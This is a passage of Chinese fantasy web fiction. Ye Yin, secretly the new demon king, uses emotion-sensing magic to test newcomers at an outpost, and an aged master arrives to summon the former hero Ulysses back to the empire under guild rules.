一有新成员加入,据点内立刻热闹了起来。危机四伏的环境最有利于团结,哪怕是被迫的,也比孤狼要安全,因而新老成员们很快变得无话不谈——这种时候,柜台后的酒便可以派上用场。再烈的酒也很难彻底灌醉这些人,但让他们说出心里话已经绰绰有余。 叶隐并没有待在大厅里,也没有在自己的房间,而是在柜台后方的、海伦的房间里。他和尤利西斯一同出现过,旁人难免对他有印象,而尤利西斯若在此时出面,定会瞬间吸走全场目光,他这个“勇者的同伴”亦是如此。 见海伦终于得到半刻闲暇、回到房间,叶隐出声问她:“观察得如何?” 海伦叹息道:“这几位都算我的半个熟人,他们都不是第一次来这片区域了,这次是人手实在不足,他们才同意来帮忙的。说实话,我不太相信他们中会有黑衣人的同伙。” 闻言,叶隐站起身来,对着海伦的梳妆镜理了理形象,道:“既然如此,还是由我亲自出马试探吧。” 海伦颔首:“那就拜托您了。” 说是试探,叶隐的策略其实很简单——他从海伦房间的后门绕到了大厅的另一边,从那边大踏步地走出,在所有人的目光都看向他时,启动了情绪感知魔法。 “好长的头发……这位是?”有人在小声向同伴询问他的来历。 有些人显然对叶隐还有印象:“他是勇者的同伴啊!不过怎么没看到勇者本人?” “勇者?是前勇者吧?你的消息太落后了。” 这些人的情绪都很正常,大都惊讶中夹杂着困惑,还有少许对强者的仰慕、甚至憧憬。 然而,对于他的现身,有唯一一个人,几乎没有出现任何情绪波动。 那是个看上去风尘仆仆的苍老男子,一道夸张的伤痕留在他的头皮上,深可见骨,那道一指宽的沟壑里没有长出任何头发,其面上亦有不少细小的疤痕。从皮肤和头发的状况来判断,他或许已有七十余岁,莫说是在平民中,即使是在贵族中也是相当的高寿。老者的气场平和而凝实,无言地诉说着“这是位高手”,他给叶隐的感觉甚至与尤利西斯有些相似。 自始至终,老者只是一言不发地坐在角落里喝酒,始终不主动挑起话题,可其他人还是会主动坐到他身边,询问他对某些事的看法,足可见其在这一众人中的威望。 是因为年纪太大,以至于遇到任何事都宠辱不惊了,还是说,他就是那个值得怀疑的人呢……叶隐想道。 他索性走上前去,正欲开口邀请对方去客房里一叙,对方却在他靠近的同时站起身来,一双浑浊的老眼看向了他。 不需要多余的交流,叶隐已然从老者眼中看出了他的意图,而在对方看来,似乎也是如此。 这就是人老成精吗……叶隐腹诽着,走到了前头去,为沉默的老者带路。 见叶隐一句话没说,就带走了场中最粗的大腿,旁边正聊得热闹的众人面面相觑。 …… “我是叶隐,这位是尤利西斯。” 叶隐向老者作了简短的自我介绍,随即转而问道:“不知您是否认识一位名叫安塞尔的年轻人? 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叶隐的神情逐渐变得凝重,甚至下意识检查起自己身上是否残留了可能暴露魔王身份的细节,然而,接下来老者的话,却完全出乎了他的预料。 “我来带你回去,尤利西斯。”老者淡淡说道。 叶隐:“……” 老人说话的时候,甚至不曾瞥过叶隐一眼,但那似乎并不意味着他忽视了叶隐的存在,正相反,即使他没有看向叶隐,甚至一双浑浊的老眼半开半阖,叶隐依然感觉自己正被对方凝视着——这种令人头皮发麻的感觉,也和靠近冥想中的尤利西斯的情况几乎一样,该说不愧是师徒吗? ——不,那不是重点!他刚才说什么?要带尤利西斯回去?! 什么原因?是尤利西斯盗取勇者之剑一事事发了吗?还是说帝国高层意识到新的魔王诞生了,准备把他拉回去加班?…… 无论出于什么原因,都绝对不行! 虽然不假思索地便得出了最终结论,但叶隐还是按捺住了愠怒的心情,转而看向沉默以对的尤利西斯。他相信尤利西斯不会离开,更不可能像个没事人一样回去做他的勇者,但对方的回答依然至关重要,没人能代替他自己作出决定。 “为什么?”尤利西斯问道,神情看上去很平静。 老者的神色与他同样平淡,却用这般语气说着骇人的话题:“据可靠情报,魔物界将要有大动作,帝国需要集合一切有生力量,做好面对任何情况的准备。” 叶隐微微瞪大眼睛,他怎么不知道魔物界要变天?帝国的情报系统比他这个魔王还要发达!——也不奇怪就是了,毕竟他现在和光杆司令没差。 尤利西斯摇头:“我已经不再是勇者了。” 老者却道:“你能够出关,依靠的是公会资深冒险者的身份,既然你还承认你是公会的一员,按照规定,你便不能拒绝来自王室的直接差遣。” 冒险者公会的职能,在帝国对抗魔物侵略的战争中至关重要,因而早在公会诞生之初,其便与帝国王室有着说不清道不明的关系。公会的冒险者,在某种意义上来说就是帝国的士兵,虽然披了个雇佣兵的名头,但在真正需要他们的时候,哪怕钱没有到位,他们也没有拒绝的权利。 顿了顿,他接着道:“还是说,你要承认你是私自越境,然后接受惩罚?”